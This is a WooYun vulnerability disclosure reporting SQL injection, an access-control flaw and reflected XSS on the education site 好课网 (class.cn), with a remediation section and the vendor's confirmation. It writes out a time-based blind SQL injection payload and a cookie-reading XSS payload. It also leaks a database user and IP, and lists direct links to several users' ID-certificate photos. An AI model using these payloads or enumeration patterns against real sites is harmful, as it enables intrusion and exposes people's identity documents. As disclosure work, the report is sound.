当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0147704

漏洞标题：好课网SQLi/访问控制缺陷/XSS漏洞打包严重泄露师生信息甚至证件信息

相关厂商：好课网

漏洞作者： 路人甲

提交时间：2015-10-19 10:35

修复时间：2015-12-03 10:50

公开时间：2015-12-03 10:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-19： 细节已通知厂商并且等待厂商处理中
2015-10-19： 厂商已经确认，细节仅向厂商公开
2015-10-29： 细节向核心白帽子及相关领域专家公开
2015-11-08： 细节向普通白帽子公开
2015-11-18： 细节向实习白帽子公开
2015-12-03： 细节向公众公开

简要描述：

见详细说明~

详细说明：

上周末感冒了没出门，所以在家给好课网做一做测试。好课网真心不错，有很多不错的资源，将来发展会很好的。通过测试看得出，好课网的安全做得是很到位的，输入输出过滤、访问控制等方面做得非常专业。
言归正传，说一下这回挖出来的好课网漏洞。打包三个漏洞：
0x01 SQL时间盲注
0x02 访问控制缺陷
0x03 反射型XSS
下面一一介绍。
0x01 SQL时间盲注
URL：http://www.class.cn/reset_passwd/reset_show?key=v3IHUKzcpN7iqrCPsGQ0&email=penetest1@163.com
注入点为email。
通过测试，发现可以通过拼接字符串进行时间盲注。
注入方法:/reset_passwd/reset_show?key=v3IHUKzcpN7iqrCPsGQ0&email=penetest1@163.com'%2b(select%20*%20from%20(select%20if(substring(user(),1,1)='b',sleep(10),'a'))a)%2b'
可注入得到当前数据库用户名为：
bbsnew@202.205.109.70
0x02 访问控制缺陷
通过测试用户身份认证功能发现，证件照片上传的URL为：
http://v2.data.class.cn/class_user/06/08/31/17/cert_6083117.jpg
其中6083117为用户ID，此为公开信息，见下图：

Snip20151019_3.png


用户ID见URL。
通过测试，可得知所有认证用户证件照片可未授权查看，见下例：
http://v2.data.class.cn/class_user/06/08/31/17/cert_6083117.jpg
http://v2.data.class.cn/class_user/06/72/74/40/cert_6727440.jpg
http://v2.data.class.cn/class_user/06/16/75/79/cert_6167579.jpg
http://v2.data.class.cn/class_user/06/47/49/76/cert_6474976.jpg

Snip20151019_4.png


Snip20151019_5.png


Snip20151019_6.png


Snip20151019_7.png


0x03 反射型XSS
由于认证cookie均未配置httponly，因此XSS在这里危害还是比较大的。
URL：http://m.class.cn/course/detail?course_id=1
course_id参数可进行攻击。
http://m.class.cn/course/detail?course_id=1%22%3E%3CScRiPt%3Ealert%28document.cookie%29%3C%2fScRiPt%3E
见下图：
所有cookie：

Snip20151019_9.png


弹窗：

Snip20151019_10.png


以上漏洞利用均点到为止，仅为证明漏洞。

漏洞证明：

上周末感冒了没出门，所以在家给好课网做一做测试。好课网真心不错，有很多不错的资源，将来发展会很好的。通过测试看得出，好课网的安全做得是很到位的，输入输出过滤、访问控制等方面做得非常专业。
言归正传，说一下这回挖出来的好课网漏洞。打包三个漏洞：
0x01 SQL时间盲注
0x02 访问控制缺陷
0x03 反射型XSS
下面一一介绍。
0x01 SQL时间盲注
URL：http://www.class.cn/reset_passwd/reset_show?key=v3IHUKzcpN7iqrCPsGQ0&email=penetest1@163.com
注入点为email。
通过测试，发现可以通过拼接字符串进行时间盲注。
注入方法:/reset_passwd/reset_show?key=v3IHUKzcpN7iqrCPsGQ0&email=penetest1@163.com'%2b(select%20*%20from%20(select%20if(substring(user(),1,1)='b',sleep(10),'a'))a)%2b'
可注入得到当前数据库用户名为：
bbsnew@202.205.109.70
0x02 访问控制缺陷
通过测试用户身份认证功能发现，证件照片上传的URL为：
http://v2.data.class.cn/class_user/06/08/31/17/cert_6083117.jpg
其中6083117为用户ID，此为公开信息，见下图：

Snip20151019_3.png


用户ID见URL。
通过测试，可得知所有认证用户证件照片可未授权查看，见下例：
http://v2.data.class.cn/class_user/06/08/31/17/cert_6083117.jpg
http://v2.data.class.cn/class_user/06/72/74/40/cert_6727440.jpg
http://v2.data.class.cn/class_user/06/16/75/79/cert_6167579.jpg
http://v2.data.class.cn/class_user/06/47/49/76/cert_6474976.jpg

Snip20151019_4.png


Snip20151019_5.png


Snip20151019_6.png


Snip20151019_7.png


0x03 反射型XSS
由于认证cookie均未配置httponly，因此XSS在这里危害还是比较大的。
URL：http://m.class.cn/course/detail?course_id=1
course_id参数可进行攻击。
http://m.class.cn/course/detail?course_id=1%22%3E%3CScRiPt%3Ealert%28document.cookie%29%3C%2fScRiPt%3E
见下图：
所有cookie：

Snip20151019_9.png


弹窗：

Snip20151019_10.png


以上漏洞利用均点到为止，仅为证明漏洞。

修复方案：

针对SQLi：
1、参数化查询；
2、保持权限分离的好习惯。
针对访问控制缺陷：
1、文件名加入随机性，不要直接通过UID命名；
2、最好对普通用户隐藏其他用户UID。
针对XSS：
1、加强过滤；
2、虽然主站对于XSS等攻击防范很到位，m站也应进行同等强度的防护。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-10-19 10:49

厂商回复：

多谢提交。

最新状态：

2015-10-19：设计的敏感信息图片及地址请删除了吧。

2015-10-19：涉及的敏感信息图片及地址请删除了吧